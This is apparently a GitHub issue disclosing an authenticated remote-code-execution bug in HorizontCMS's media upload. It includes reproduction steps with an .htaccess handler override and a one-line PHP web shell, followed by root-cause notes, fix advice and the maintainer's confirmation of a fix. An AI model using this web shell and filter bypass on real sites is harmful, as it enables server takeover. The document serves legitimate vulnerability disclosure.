You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
One who is able to log into the admin panel can gain Remote Code Execution via uploading a .htaccess and *.hello files using the Media Files upload functionality. The original file upload vulnerability (CVE-2020-27387) was remediated by restricting the PHP extensions; however, we confirmed that the filter was bypassed via uploading an arbitrary .htaccess and *.hello files in order to execute PHP code to gain RCE.
Reproduction of the Issue
Login to the admin panel (http:///admin/login)
Go to "Media" --> "Files"
Upload the following file --> Rename the file name as ".htaccess"
AddType application/x-httpd-php .hello
Upload another following file --> Rename the file name as "test.hello"
<?phpsystem($_GET['cmd']); ?>
Go to http://<HorizontCMS IP/storage/test.hello?cmd= for RCE
Screenshots
Upload files and rename them:
Gain RCE
Root Cause
Allowing an arbitrary file & rename functionality is not properly sanitizing the file extension.
Recommendations
Re-work on file upload function where they should always check for MIME-Type and file extension
Avoid leaving the file upload folder ("/storage") open
Please let us know if you have any questions or need further information. Thanks!
Daniel Min & Chi Tran
The text was updated successfully, but these errors were encountered:
bigb0sss
changed the title
Authenticated Remote Code Execution via a Media Files Upload (Filetype Bypass)
Authenticated Remote Code Execution via a Media Files Upload (PHP Filetype Bypass)
Mar 17, 2021
This issue is addressed on the latest commit on master. The next release (1.0.0-beta.3) will contain this fix. Please mention this in your blogpost also.
Description of the Issue
One who is able to log into the admin panel can gain Remote Code Execution via uploading a .htaccess and *.hello files using the Media Files upload functionality. The original file upload vulnerability (CVE-2020-27387) was remediated by restricting the PHP extensions; however, we confirmed that the filter was bypassed via uploading an arbitrary .htaccess and *.hello files in order to execute PHP code to gain RCE.
Reproduction of the Issue
Screenshots
Root Cause
Recommendations
Please let us know if you have any questions or need further information. Thanks!
Daniel Min & Chi Tran
The text was updated successfully, but these errors were encountered: